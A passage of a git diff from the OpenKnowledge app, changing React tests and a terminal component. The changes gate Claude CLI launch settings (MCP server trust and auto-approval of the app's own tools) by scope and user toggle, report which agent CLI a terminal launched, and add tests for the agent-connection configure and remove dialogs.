control.current?.rerender());@@ -742,7 +742,7 @@ describe('SessionsHost — agents panel (web / no bridge)', () => {mockRegisteredAgent = null;const control = makeControl();render(<Harness threadLaunch={sentinelLaunch(1)} control={control} />);- expect(window.location.hash).toBe('#settings/configure-agents');+ expect(window.location.hash).toBe('#settings/agent-connections');window.location.hash = '#settings/some-other-tab';act(() => control.current?.rerender());diff --git a/packages/app/src/components/TerminalPanel.launch.dom.test.tsx b/packages/app/src/components/TerminalPanel.launch.dom.test.tsxindex 1512d30b8..b09242633 100644--- a/packages/app/src/components/TerminalPanel.launch.dom.test.tsx+++ b/packages/app/src/components/TerminalPanel.launch.dom.test.tsx@@ -77,11 +77,24 @@ vi.doMock('@xterm/addon-web-links', () => ({ WebLinksAddon: MockWebLinksAddon })vi.doMock('@xterm/addon-unicode11', () => ({ Unicode11Addon: MockUnicode11Addon }));vi.doMock('@xterm/xterm/css/xterm.css', () => ({}));-const WIRED: ClaudeReadiness = { claude: 'present', mcp: 'wired', mcpPreApprovable: true };+const WIRED: ClaudeReadiness = {+ claude: 'present',+ mcp: 'wired',+ mcpPreApprovable: true,+ okToolsAutoApprovable: true,+};const WIRED_FOREIGN_PROJECT: ClaudeReadiness = {claude: 'present',mcp: 'wired',mcpPreApprovable: false,+ okToolsAutoApprovable: false,+};+const WIRED_GLOBAL_ONLY: ClaudeReadiness = {+ claude: 'present',+ mcp: 'wired',+ mcpScopes: { global: true, project: false },+ mcpPreApprovable: false,+ okToolsAutoApprovable: true,};const ON_PATH: CliReadiness = { onPath: 'present' };const CODEX_OK_CONFIGURED: CliReadiness = { onPath: 'present', okServerConfigured: true };@@ -99,6 +112,7 @@ function makeBridge(cols: number;rows: number;launchCommand?: string | TerminalLaunchCommand;+ launchCli?: TerminalCli;}) => ({ok: true as const,ptyId: 'pty-1',@@ -154,6 +168,11 @@ function bakedLaunch(return last?.launchCommand;}+function reportedCli(createMock: ReturnType<typeof vi.fn>): string | undefined {+ const last = createMock.mock.calls.at(-1)?.[0] as { launchCli?: string } | undefined;+ return last?.launchCli;+}+function launchInputWrites(inputMock: ReturnType<typeof vi.fn>): string[] {return inputMock.mock.calls.map((c) => c[1] as string)@@ -164,6 +183,8 @@ const CLAUDE_PRE = `--settings '{"enabledMcpjsonServers":["open-knowledge"],"perconst CLAUDE_TRUST_ONLY = `--settings '{"enabledMcpjsonServers":["open-knowledge"]}'`;+const CLAUDE_AUTO_ONLY = `--settings '{"permissions":{"allow":["mcp__open-knowledge","Bash(ok open:*)"],"ask":["mcp__open-knowledge__delete","mcp__open-knowledge__move","mcp__open-knowledge__share_link","mcp__open-knowledge__install","mcp__open-knowledge__import"]}}'`;+function renderWithAutoApproveOff(ui: ReactElement) {const value = {userConfig: { agents: { autoApproveOkTools: false } },@@ -704,3 +725,148 @@ describe('TerminalPanel "Open in terminal" launch (baked into the PTY spawn)', (expect(launchInputWrites(terminal.input)).toEqual([]);});});++describe('the two --settings halves are gated independently, across all four MCP scope states', () => {+ const PROJECT_ONLY: ClaudeReadiness = {+ claude: 'present',+ mcp: 'wired',+ mcpScopes: { global: false, project: true },+ mcpPreApprovable: true,+ okToolsAutoApprovable: true,+ };+ const BOTH_SCOPES: ClaudeReadiness = {+ claude: 'present',+ mcp: 'wired',+ mcpScopes: { global: true, project: true },+ mcpPreApprovable: true,+ okToolsAutoApprovable: true,+ };+ const NEITHER_SCOPE: ClaudeReadiness = {+ claude: 'present',+ mcp: 'needs-rewire',+ mcpScopes: { global: false, project: false },+ mcpPreApprovable: false,+ okToolsAutoApprovable: false,+ };++ beforeEach(() => {+ (globalThis as { ResizeObserver: unknown }).ResizeObserver = MockResizeObserver;+ });+ afterEach(() => {+ cleanup();+ vi.restoreAllMocks();+ });++ async function bakeClaudeLaunch(preflight: ClaudeReadiness) {+ const { bridge, terminal } = makeBridge(preflight);+ render(<TerminalPanel bridge={bridge} launch={{ prompt: 'hi', cli: 'claude', nonce: 1 }} />);+ await waitFor(() => expect(terminal.create).toHaveBeenCalledTimes(1));+ return bakedLaunch(terminal.create);+ }++ test('global-only: OK tools are auto-approved, and no project server trust is claimed', async () => {+ const baked = await bakeClaudeLaunch(WIRED_GLOBAL_ONLY);+ expect(baked).toBe(`claude ${CLAUDE_AUTO_ONLY} 'hi'`);+ expect(baked).not.toContain('enabledMcpjsonServers');+ });++ test('project-only: both halves, exactly as before the split', async () => {+ expect(await bakeClaudeLaunch(PROJECT_ONLY)).toBe(`claude ${CLAUDE_PRE} 'hi'`);+ });++ test('both scopes: both halves, in one settings object', async () => {+ expect(await bakeClaudeLaunch(BOTH_SCOPES)).toBe(`claude ${CLAUDE_PRE} 'hi'`);+ });++ test('neither scope: a bare launch, no settings at all', async () => {+ const baked = await bakeClaudeLaunch(NEITHER_SCOPE);+ expect(baked).toBe("claude 'hi'");+ expect(baked).not.toContain('--settings');+ });++ test('a foreign project entry named open-knowledge bakes NOTHING, even alongside a legit global entry', async () => {+ const baked = await bakeClaudeLaunch({+ claude: 'present',+ mcp: 'wired',+ mcpScopes: { global: true, project: false },+ mcpPreApprovable: false,+ okToolsAutoApprovable: false,+ });+ expect(baked).toBe("claude 'hi'");+ expect(baked).not.toContain('--settings');+ });++ test('toggle OFF on a global-only install: neither half, so the launch is bare', async () => {+ const { bridge, terminal } = makeBridge(WIRED_GLOBAL_ONLY);+ renderWithAutoApproveOff(+ <TerminalPanel bridge={bridge} launch={{ prompt: 'hi', cli: 'claude', nonce: 1 }} />,+ );++ await waitFor(() => expect(terminal.create).toHaveBeenCalledTimes(1));+ expect(bakedLaunch(terminal.create)).toBe("claude 'hi'");+ expect(bakedLaunch(terminal.create)).not.toContain('--settings');+ });+});++describe('the agent CLI reported to the host alongside the spawn', () => {+ beforeEach(() => {+ (globalThis as { ResizeObserver: unknown }).ResizeObserver = MockResizeObserver;+ });+ afterEach(() => {+ cleanup();+ });++ test('names the agent a launch tab opened for, leaving the baked command untouched', async () => {+ const { bridge, terminal } = makeBridge(WIRED);+ render(<TerminalPanel bridge={bridge} launch={{ prompt: 'hi', cli: 'claude', nonce: 1 }} />);++ await waitFor(() => expect(terminal.create).toHaveBeenCalledTimes(1));+ expect(reportedCli(terminal.create)).toBe('claude');+ expect(bakedLaunch(terminal.create)).toBe(`claude ${CLAUDE_PRE} 'hi'`);+ });++ test('names the agent for a non-claude launch too', async () => {+ const { bridge, terminal } = makeBridge(WIRED, ON_PATH);+ render(<TerminalPanel bridge={bridge} launch={{ prompt: 'hi', cli: 'codex', nonce: 1 }} />);++ await waitFor(() => expect(terminal.create).toHaveBeenCalledTimes(1));+ expect(reportedCli(terminal.create)).toBe('codex');+ });++ test('still names the agent when the preflight suppressed the bake', async () => {+ const { bridge, terminal } = makeBridge(WIRED, { onPath: 'not-found' });+ render(<TerminalPanel bridge={bridge} launch={{ prompt: 'hi', cli: 'codex', nonce: 1 }} />);++ await waitFor(() => expect(terminal.create).toHaveBeenCalledTimes(1));+ expect(bakedLaunch(terminal.create)).toBeUndefined();+ expect(reportedCli(terminal.create)).toBe('codex');+ });++ test('names no agent for a plain tab', async () => {+ const { bridge, terminal } = makeBridge(WIRED);+ render(<TerminalPanel bridge={bridge} />);++ await waitFor(() => expect(terminal.create).toHaveBeenCalledTimes(1));+ expect(reportedCli(terminal.create)).toBeUndefined();+ });++ test('names no agent when a failed adoption falls through to a plain shell', async () => {+ const { bridge, terminal } = makeBridge(WIRED);+ terminal.adopt = vi.fn(+ async (): Promise<{ ok: true; replay: string } | { ok: false; reason: string }> => ({+ ok: false,+ reason: 'unknown-session',+ }),+ );+ render(+ <TerminalPanel+ bridge={bridge}+ adoptPtyId="surv-gone"+ launch={{ prompt: 'hi', cli: 'claude', nonce: 1 }}+ />,+ );++ await waitFor(() => expect(terminal.create).toHaveBeenCalledTimes(1));+ expect(reportedCli(terminal.create)).toBeUndefined();+ });+});diff --git a/packages/app/src/components/TerminalPanel.tsx b/packages/app/src/components/TerminalPanel.tsxindex 13dc600f3..20954275f 100644--- a/packages/app/src/components/TerminalPanel.tsx+++ b/packages/app/src/components/TerminalPanel.tsx@@ -554,7 +554,8 @@ function TerminalSession({if (!cancelled) setReadiness(fresh);return buildLaunch({mcpPreApprove: fresh.mcpPreApprovable === true,- autoApproveOkTools: autoApproveOkToolsRef.current && fresh.mcpPreApprovable === true,+ autoApproveOkTools:+ autoApproveOkToolsRef.current && fresh.okToolsAutoApprovable === true,});}if (!cancelled) {@@ -632,7 +633,9 @@ function TerminalSession({}let launchCommand: string | TerminalLaunchCommand | undefined;+ let launchCli: TerminalCli | undefined;if (launch !== null && adoptPtyId === null) {+ launchCli = launch.cli;launchCommand = await resolveLaunchCommand(launch);if (cancelled) return;} else if (commandId !== null && adoptPtyId === null) {@@ -644,7 +647,12 @@ function TerminalSession({let result: Awaited<ReturnType<typeof bridge.terminal.create>>;try {- result = await bridge.terminal.create({ cols: term.cols, rows: term.rows, launchCommand });+ result = await bridge.terminal.create({+ cols: term.cols,+ rows: term.rows,+ launchCommand,+ launchCli,+ });} catch (err) {console.error('[terminal] create() failed:', err);if (cancelled) return;diff --git a/packages/app/src/components/handoff/OpenInAgentContextSubmenu.dom.test.tsx b/packages/app/src/components/handoff/OpenInAgentContextSubmenu.dom.test.tsxindex c67e65952..58b3074d0 100644--- a/packages/app/src/components/handoff/OpenInAgentContextSubmenu.dom.test.tsx+++ b/packages/app/src/components/handoff/OpenInAgentContextSubmenu.dom.test.tsx@@ -251,7 +251,7 @@ describe('OpenInAgentContextSubmenu runtime behavior', () => {window.location.hash = '';await userEvent.click(screen.getByTestId('file-tree-open-in-settings'));- expect(window.location.hash).toBe('#settings/configure-agents');+ expect(window.location.hash).toBe('#settings/agent-connections');expect(threadLaunchCalls).toEqual([]);});diff --git a/packages/app/src/components/handoff/OpenInAgentEmptySpaceSubmenu.dom.test.tsx b/packages/app/src/components/handoff/OpenInAgentEmptySpaceSubmenu.dom.test.tsxindex ff4ace44d..8d1ecfdad 100644--- a/packages/app/src/components/handoff/OpenInAgentEmptySpaceSubmenu.dom.test.tsx+++ b/packages/app/src/components/handoff/OpenInAgentEmptySpaceSubmenu.dom.test.tsx@@ -241,7 +241,7 @@ describe('OpenInAgentEmptySpaceSubmenu runtime behavior', () => {window.location.hash = '';await userEvent.click(screen.getByTestId('empty-space-open-in-settings'));- expect(window.location.hash).toBe('#settings/configure-agents');+ expect(window.location.hash).toBe('#settings/agent-connections');expect(threadLaunchCalls).toEqual([]);});diff --git a/packages/app/src/components/settings/AgentConnectionDialogs.dom.test.tsx b/packages/app/src/components/settings/AgentConnectionDialogs.dom.test.tsxnew file mode 100644index 000000000..3f1d73c1d--- /dev/null+++ b/packages/app/src/components/settings/AgentConnectionDialogs.dom.test.tsx@@ -0,0 +1,1092 @@+import {+ AGENT_REGISTRY,+ type AgentId,+ type ApplyIntent,+ type ApplyReport,+ editorPathId,+ type HostSnapshot,+ type SatisfierId,+ type SurfaceState,+} from '@inkeep/open-knowledge-core';+import * as actualLinguiMacro from '@lingui/react/macro';+import { cleanup, render, screen, waitFor, within } from '@testing-library/react';+import userEvent from '@testing-library/user-event';+import { type ReactNode, useState } from 'react';+import { afterEach, describe, expect, test, vi } from 'vitest';+import { TooltipProvider } from '@/components/ui/tooltip';+import type { ApplyAgentConnectionsResult } from '@/lib/agent-connections';+import { renderLinguiTemplate } from '@/test-utils/lingui-mock';++vi.doMock('@lingui/react/macro', () => ({+ ...actualLinguiMacro,+ Plural: ({ value, one, other }: { value: number; one: string; other: string }) => (+ <>{(value === 1 ? one : other).replace('#', String(value))}</>+ ),+ Trans: ({ children }: { children?: ReactNode }) => <>{children}</>,+ useLingui: () => ({+ i18n: { locale: 'en' },+ t: renderLinguiTemplate,+ }),+}));++const {+ ConfigureConnectionDialog,+ RemoveConnectionDialog,+ connectionsFromSnapshot,+ intentsForParts,+ removalIntents,+} = await import('./AgentConnectionDialogs');++const VISIBLE_AGENTS: AgentId[] = [+ 'claude',+ 'claude-desktop',+ 'cursor',+ 'codex',+ 'copilot',+ 'opencode',+ 'antigravity',+];++const EMPTY_REPORT: ApplyReport = { actions: [], conflicts: [], withheld: [] };++function diskSatisfierIds(agentId: AgentId): SatisfierId[] {+ return AGENT_REGISTRY[agentId].satisfiers+ .filter((satisfier) => satisfier.scope !== 'session')+ .map((satisfier) => satisfier.id);+}++function satisfierId(+ agentId: AgentId,+ piece: 'mcp' | 'skill',+ scope: 'project' | 'user',+): SatisfierId {+ const id = AGENT_REGISTRY[agentId].satisfiers.find(+ (satisfier) => satisfier.piece === piece && satisfier.scope === scope,+ )?.id;+ if (id === undefined) throw new Error(`missing ${agentId}:${piece}:${scope}`);+ return id;+}++function snapshotWith(installed: readonly SatisfierId[] = []): HostSnapshot {+ const installedIds = new Set<string>(installed);+ const satisfiers = Object.fromEntries(+ Object.values(AGENT_REGISTRY).flatMap((agent) =>+ agent.satisfiers+ .filter((satisfier) => satisfier.probe.mode === 'probeable')+ .map((satisfier) => [+ satisfier.id,+ { state: installedIds.has(satisfier.id) ? 'satisfied' : 'absent' },+ ]),+ ),+ );+ return {+ probes: { env: 'desktop', satisfiers },+ detection: { detected: VISIBLE_AGENTS, probed: true },+ };+}++function withSurfaceStates(+ base: HostSnapshot,+ overrides: Readonly<Record<string, SurfaceState>>,+): HostSnapshot {+ return {+ ...base,+ probes: {+ ...base.probes,+ satisfiers: {+ ...base.probes.satisfiers,+ ...Object.fromEntries(Object.entries(overrides).map(([id, state]) => [id, { state }])),+ },+ },+ };+}++function result(snapshot: HostSnapshot, ok = true): ApplyAgentConnectionsResult {+ return { ok, report: EMPTY_REPORT, snapshot };+}++function OpenUntilClosed({+ render: renderDialog,+}: {+ render: (open: boolean, onOpenChange: (next: boolean) => void) => ReactNode;+}) {+ const [open, setOpen] = useState(true);+ return renderDialog(open, setOpen);+}++async function renderConfigureDialog(+ applyConnections: (intents: readonly ApplyIntent[]) => Promise<ApplyAgentConnectionsResult>,+ agentId: AgentId,+ paired = false,+) {+ const read = await applyConnections([]);+ const connection =+ read.snapshot === null+ ? null+ : (connectionsFromSnapshot(read.snapshot).find((c) => c.id === agentId) ?? null);+ return render(+ <TooltipProvider>+ <OpenUntilClosed+ render={(open, onOpenChange) => (+ <ConfigureConnectionDialog+ connection={connection}+ open={open}+ onOpenChange={onOpenChange}+ paired={paired}+ onSave={async (parts, alsoRemove) =>+ applyConnections(+ connection === null ? [] : intentsForParts(connection, parts, alsoRemove),+ )+ }+ />+ )}+ />+ </TooltipProvider>,+ );+}++async function renderRemoveDialog(+ applyConnections: (intents: readonly ApplyIntent[]) => Promise<ApplyAgentConnectionsResult>,+ agentId: AgentId,+ paired = false,+) {+ const read = await applyConnections([]);+ const connection =+ read.snapshot === null+ ? null+ : (connectionsFromSnapshot(read.snapshot).find((c) => c.id === agentId) ?? null);+ return render(+ <TooltipProvider>+ <OpenUntilClosed+ render={(open, onOpenChange) => (+ <RemoveConnectionDialog+ connection={connection}+ open={open}+ onOpenChange={onOpenChange}+ paired={paired}+ onRemove={async (peers) =>+ applyConnections(connection === null ? [] : removalIntents(connection, peers))+ }+ />+ )}+ />+ </TooltipProvider>,+ );+}++afterEach(cleanup);++describe('a rejected write never seals the dialog', () => {+ test('a save that rejects surfaces the failure and leaves the dialog closable', async () => {+ const user = userEvent.setup();+ const apply = vi.fn(async () => result(snapshotWith()));+ const read = await apply();+ const connection =+ read.snapshot === null+ ? null+ : (connectionsFromSnapshot(read.snapshot).find((c) => c.id === 'claude') ?? null);++ render(+ <TooltipProvider>+ <OpenUntilClosed+ render={(open, onOpenChange) => (+ <ConfigureConnectionDialog+ connection={connection}+ open={open}+ onOpenChange={onOpenChange}+ onSave={() => Promise.reject(new Error('bridge died'))}+ paired={false}+ />+ )}+ />+ </TooltipProvider>,+ );++ const box = await screen.findByRole('checkbox', { name: /project mcp server/i });+ await user.click(box);+ await user.click(screen.getByRole('button', { name: /save changes/i }));++ await waitFor(() =>+ expect(screen.getByRole('button', { name: /cancel/i }).hasAttribute('disabled')).toBe(false),+ );+ });+});++describe('AgentConnectionDialogs', () => {+ test('Add opens the four-part editor and selects every registry-backed Claude item', async () => {+ const apply = vi.fn(async () => result(snapshotWith()));++ await renderConfigureDialog(apply, 'claude');++ const dialog = screen.getByRole('dialog', { name: 'Claude' });+ expect(within(dialog).getAllByRole('checkbox')).toHaveLength(4);+ for (const checkbox of within(dialog).getAllByRole('checkbox')) {+ expect(checkbox.getAttribute('data-state')).toBe('checked');+ expect((checkbox as HTMLButtonElement).disabled).toBe(false);+ }+ expect(within(dialog).getByText('4 changes')).toBeTruthy();+ });++ test('Finish setup mirrors probed state and submits only the changed satisfier', async () => {+ const before = snapshotWith([+ satisfierId('cursor', 'mcp', 'user'),+ satisfierId('cursor', 'mcp', 'project'),+ satisfierId('cursor', 'skill', 'user'),+ ]);+ const projectSkillId = satisfierId('cursor', 'skill', 'project');+ const after = snapshotWith([...diskSatisfierIds('cursor')]);+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) =>+ result(intents.length === 0 ? before : after),+ );+ const user = userEvent.setup();++ await renderConfigureDialog(apply, 'cursor');++ const dialog = screen.getByRole('dialog', { name: 'Cursor' });+ expect(+ within(dialog)+ .getByRole('checkbox', { name: 'Global MCP server' })+ .getAttribute('data-state'),+ ).toBe('checked');+ expect(+ within(dialog).getByRole('checkbox', { name: 'Project skill' }).getAttribute('data-state'),+ ).toBe('unchecked');+ await user.click(within(dialog).getByRole('checkbox', { name: 'Project skill' }));+ await user.click(within(dialog).getByRole('button', { name: 'Save changes' }));++ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull());+ expect(apply).toHaveBeenLastCalledWith([{ satisfierId: projectSkillId, desired: 'present' }]);+ });++ test('Remove submits the checked registry cells and re-renders the returned snapshot', async () => {+ const before = snapshotWith(diskSatisfierIds('cursor'));+ const after = snapshotWith();+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) =>+ result(intents.length === 0 ? before : after),+ );+ const user = userEvent.setup();++ await renderRemoveDialog(apply, 'cursor');++ const dialog = screen.getByRole('alertdialog', {+ name: 'Remove OpenKnowledge from Cursor?',+ });+ expect(within(dialog).getByText('Project MCP server')).toBeTruthy();+ expect(within(dialog).getByText('OpenKnowledge discovery skill')).toBeTruthy();++ await user.click(within(dialog).getByRole('button', { name: 'Remove' }));+ await waitFor(() => expect(screen.queryByRole('alertdialog')).toBeNull());+ expect(apply).toHaveBeenLastCalledWith([+ { satisfierId: satisfierId('cursor', 'mcp', 'project'), desired: 'absent' },+ { satisfierId: satisfierId('cursor', 'skill', 'project'), desired: 'absent' },+ { satisfierId: satisfierId('cursor', 'mcp', 'user'), desired: 'absent' },+ { satisfierId: satisfierId('cursor', 'skill', 'user'), desired: 'absent' },+ ]);+ });++ test('keeps a failed mutation open and announces the failure', async () => {+ const before = snapshotWith();+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) =>+ result(before, intents.length === 0),+ );+ const user = userEvent.setup();++ await renderConfigureDialog(apply, 'claude');+ const dialog = screen.getByRole('dialog', { name: 'Claude' });+ await user.click(within(dialog).getByRole('button', { name: 'Save changes' }));++ expect((await within(dialog).findByRole('alert')).textContent).toContain(+ 'Something went wrong. Please try again.',+ );+ expect(screen.getByRole('dialog', { name: 'Claude' })).toBeTruthy();+ });++ test('a part with an unmet prerequisite stays selectable', async () => {+ const snapshot = snapshotWith();+ const user = userEvent.setup();++ await renderConfigureDialog(async () => result(snapshot), 'copilot');+ const dialog = await screen.findByRole('dialog');++ await user.click(within(dialog).getByRole('checkbox', { name: 'Project MCP server' }));++ const skill = within(dialog).getByRole('checkbox', { name: 'Project skill' });+ expect(skill.hasAttribute('disabled')).toBe(false);+ expect(skill.getAttribute('data-state')).toBe('checked');+ });++ test('unchecking an entry another agent reads asks instead of failing', async () => {+ const claudeMcp = satisfierId('claude', 'mcp', 'project');+ const copilotMcp = satisfierId('copilot', 'mcp', 'project');+ const snapshot = snapshotWith([...diskSatisfierIds('claude'), copilotMcp]);+ const refused: ApplyAgentConnectionsResult = {+ ok: false,+ report: {+ actions: [],+ conflicts: [+ {+ kind: 'unresolved-shared-copy',+ satisfierIds: [claudeMcp, copilotMcp],+ agentIds: ['claude', 'copilot'],+ },+ ],+ withheld: [claudeMcp],+ },+ snapshot,+ };+ const batches: (readonly ApplyIntent[])[] = [];+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(snapshot);+ batches.push(intents);+ return batches.length === 1 ? refused : result(snapshot);+ });+ const user = userEvent.setup();++ await renderConfigureDialog(apply, 'claude');+ const dialog = await screen.findByRole('dialog');+ await user.click(within(dialog).getByRole('checkbox', { name: 'Project MCP server' }));+ await user.click(within(dialog).getByRole('button', { name: 'Save changes' }));++ expect((await within(dialog).findByRole('status')).textContent).toContain('shared with');+ expect(within(dialog).queryByText(/Something went wrong/)).toBeNull();++ await user.click(within(dialog).getByRole('button', { name: 'Remove for both' }));+ expect(batches[1]?.some((i) => i.satisfierId === copilotMcp && i.desired === 'absent')).toBe(+ true,+ );+ });++ test('each blocked reason says its own thing', async () => {+ const mcp = satisfierId('cursor', 'mcp', 'project');+ const user = userEvent.setup();+ const snapshot = withSurfaceStates(snapshotWith(), { [mcp]: 'structural-na' });+ await renderConfigureDialog(async () => result(snapshot), 'cursor');+ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });++ await user.hover(within(dialog).getAllByRole('button', { name: 'More information' })[0]);+ const tooltip = await screen.findAllByRole('tooltip');+ expect(within(tooltip[0]).getByText(/no file of this kind on this machine yet/i)).toBeDefined();+ expect(within(tooltip[0]).queryByText(/cannot be changed automatically/i)).toBeNull();+ });++ test('a warning row names its consequence as the checkbox own description', async () => {+ const mcp = satisfierId('cursor', 'mcp', 'project');+ const snapshot = withSurfaceStates(snapshotWith(), { [mcp]: 'foreign-replaceable' });+ await renderConfigureDialog(async () => result(snapshot), 'cursor');+ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });++ const box = within(dialog).getByRole('checkbox', { name: 'Project MCP server' });+ const describedBy = box.getAttribute('aria-describedby');+ expect(describedBy).toBeTruthy();+ expect(dialog.querySelector(`#${describedBy}`)?.textContent).toMatch(/replaces it/i);+ });++ test('the remove dialog prints a path, never the internal pathId key', async () => {+ const snapshot = snapshotWith(diskSatisfierIds('claude'));+ await renderRemoveDialog(async () => result(snapshot), 'claude');+ const dialog = await screen.findByRole('alertdialog');++ expect(dialog.textContent).toContain('.mcp.json');+ expect(dialog.textContent).not.toMatch(/editor-project-config:/);+ expect(dialog.textContent).not.toMatch(/editor-user-skill-root:/);+ });++ test('a shared skills folder says whose it also is, before the click', async () => {+ const discoverySkill = satisfierId('cursor', 'skill', 'user');+ const base = snapshotWith();+ const snapshot: HostSnapshot = {+ ...base,+ probes: {+ ...base.probes,+ satisfiers: {+ ...base.probes.satisfiers,+ [discoverySkill]: { state: 'absent', sharedWith: ['claude'] },+ },+ },+ };++ await renderConfigureDialog(async () => result(snapshot), 'cursor');+ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });++ expect(within(dialog).getByText(/This folder is also/i).textContent).toMatch(/Claude/);+ expect(within(dialog).queryByText(/does the same for them/i)).toBeNull();+ });++ test('offers a hand-edited entry as a live but unticked overwrite', async () => {+ const projectMcp = satisfierId('claude', 'mcp', 'project');+ const snapshot = withSurfaceStates(snapshotWith(), { [projectMcp]: 'foreign-replaceable' });++ await renderConfigureDialog(async () => result(snapshot), 'claude');+ const dialog = await screen.findByRole('dialog');++ const box = within(dialog).getByRole('checkbox', { name: 'Project MCP server' });+ expect(box.hasAttribute('disabled')).toBe(false);+ expect(box.getAttribute('data-state')).toBe('unchecked');+ expect(+ within(dialog).getByRole('checkbox', { name: 'Project skill' }).getAttribute('data-state'),+ ).toBe('checked');+ });++ test('explains when Cursor has no automatic discovery-skill installer', async () => {+ const discoverySkillId = satisfierId('cursor', 'skill', 'user');+ const before = snapshotWith(diskSatisfierIds('cursor').filter((id) => id !== discoverySkillId));+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ return {+ ok: false,+ report: {+ actions: [+ {+ satisfierId: discoverySkillId,+ agentId: 'cursor',+ piece: 'skill',+ scope: 'user',+ kind: 'skill-bundle-copy',+ desired: 'present',+ action: 'skipped-unsupported',+ errorId: 'no-writer',+ },+ ],+ conflicts: [],+ withheld: [],+ },+ snapshot: before,+ } satisfies ApplyAgentConnectionsResult;+ });+ const user = userEvent.setup();++ await renderConfigureDialog(apply, 'cursor');+ const dialog = screen.getByRole('dialog', { name: 'Cursor' });+ await user.click(+ within(dialog).getByRole('checkbox', { name: 'OpenKnowledge discovery skill' }),+ );+ await user.click(within(dialog).getByRole('button', { name: 'Save changes' }));++ const alert = await within(dialog).findByRole('alert');+ expect(alert.textContent).toContain('OpenKnowledge discovery skill');+ expect(alert.textContent).toContain(+ 'Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio.',+ );+ });++ test('an informational state is marked at all, so it cannot read as a problem', async () => {+ const snapshot = withSurfaceStates(snapshotWith(), {+ [satisfierId('cursor', 'mcp', 'user')]: 'present-consent-unknown',+ });+ const _user = userEvent.setup();+ await renderConfigureDialog(async () => result(snapshot), 'cursor');++ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });+ expect(within(dialog).queryByRole('button', { name: 'Why this needs attention' })).toBeNull();+ });++ test('a foreign entry is marked, and says whose it is', async () => {+ const snapshot = withSurfaceStates(snapshotWith(), {+ [satisfierId('cursor', 'mcp', 'user')]: 'foreign',+ });+ const user = userEvent.setup();+ await renderConfigureDialog(async () => result(snapshot), 'cursor');++ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });+ const chip = within(dialog).getByRole('button', { name: 'Why this needs attention' });+ await user.hover(chip);+ const tooltip = await screen.findAllByRole('tooltip');+ expect(within(tooltip[0]).getByText(/does not recognize this entry/i)).toBeDefined();+ });++ test('a row that needs attention carries ONE mark, not a warning beside an info button', async () => {+ const snapshot = withSurfaceStates(snapshotWith(), {+ [satisfierId('cursor', 'mcp', 'user')]: 'foreign',+ });+ const _user = userEvent.setup();+ await renderConfigureDialog(async () => result(snapshot), 'cursor');++ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });+ const field = within(dialog).getByText('Global MCP server').closest('[data-slot="field"]');+ expect(field).not.toBeNull();+ const marks = within(field as HTMLElement).getAllByRole('button');+ expect(marks).toHaveLength(1);+ expect(marks[0]?.getAttribute('aria-label')).toBe('Why this needs attention');+ });++ test('an actionable warning also says what the part does; a blocked one does not repeat itself', async () => {+ const snapshot = withSurfaceStates(snapshotWith(), {+ [satisfierId('cursor', 'mcp', 'user')]: 'drifted',+ });+ const user = userEvent.setup();+ await renderConfigureDialog(async () => result(snapshot), 'cursor');++ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });+ await user.hover(within(dialog).getByRole('button', { name: 'Why this needs attention' }));+ const tooltip = await screen.findAllByRole('tooltip');+ expect(within(tooltip[0]).getByText(/changed after OpenKnowledge wrote it/i)).toBeDefined();+ expect(within(tooltip[0]).getByText(/Adds a global OpenKnowledge MCP entry/i)).toBeDefined();+ });++ test('a blocked warning states its own reason once, not the generic line', async () => {+ const snapshot = withSurfaceStates(snapshotWith(), {+ [satisfierId('cursor', 'mcp', 'user')]: 'foreign',+ });+ const user = userEvent.setup();+ await renderConfigureDialog(async () => result(snapshot), 'cursor');++ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });+ await user.hover(within(dialog).getByRole('button', { name: 'Why this needs attention' }));+ const tooltip = await screen.findAllByRole('tooltip');+ expect(within(tooltip[0]).getByText(/cannot safely replace it/i)).toBeDefined();+ expect(within(tooltip[0]).queryByText(/cannot be changed automatically/i)).toBeNull();+ });++ test('a drifted entry says that turning it on replaces what is there', async () => {+ const snapshot = withSurfaceStates(snapshotWith(), {+ [satisfierId('cursor', 'mcp', 'user')]: 'drifted',+ });+ const user = userEvent.setup();+ await renderConfigureDialog(async () => result(snapshot), 'cursor');++ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });+ const chip = within(dialog).getByRole('button', { name: 'Why this needs attention' });+ await user.hover(chip);+ const tooltip = await screen.findAllByRole('tooltip');+ expect(within(tooltip[0]).getByText(/Turning it on replaces it/i)).toBeDefined();+ });++ test('offers to remove a shared file for both agents instead of a generic error', async () => {+ const copilotProjectMcp = satisfierId('copilot', 'mcp', 'project');+ const claudeProjectMcp = satisfierId('claude', 'mcp', 'project');+ const before = snapshotWith(diskSatisfierIds('copilot'));+ const after = snapshotWith();+ const sharedRefusal: ApplyAgentConnectionsResult = {+ ok: false,+ report: {+ actions: [],+ conflicts: [+ {+ kind: 'unresolved-shared-copy',+ satisfierIds: [copilotProjectMcp, claudeProjectMcp],+ agentIds: ['copilot', 'claude'],+ pathId: editorPathId('editor-project-config', 'claude'),+ },+ ],+ withheld: [copilotProjectMcp],+ },+ snapshot: before,+ };+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ const widened = intents.some((intent) => intent.satisfierId === claudeProjectMcp);+ return widened ? result(after) : sharedRefusal;+ });+ const user = userEvent.setup();++ await renderRemoveDialog(apply, 'copilot');++ const dialog = screen.getByRole('alertdialog', {+ name: 'Remove OpenKnowledge from GitHub Copilot?',+ });+ await user.click(within(dialog).getByRole('button', { name: 'Remove' }));++ const choice = await within(dialog).findByRole('status');+ expect(choice.textContent).toContain('Claude');+ expect(choice.textContent).toContain('.mcp.json');+ expect(within(dialog).queryByText('Something went wrong. Please try again.')).toBeNull();++ await user.click(within(dialog).getByRole('button', { name: 'Remove for both' }));+ await waitFor(() => 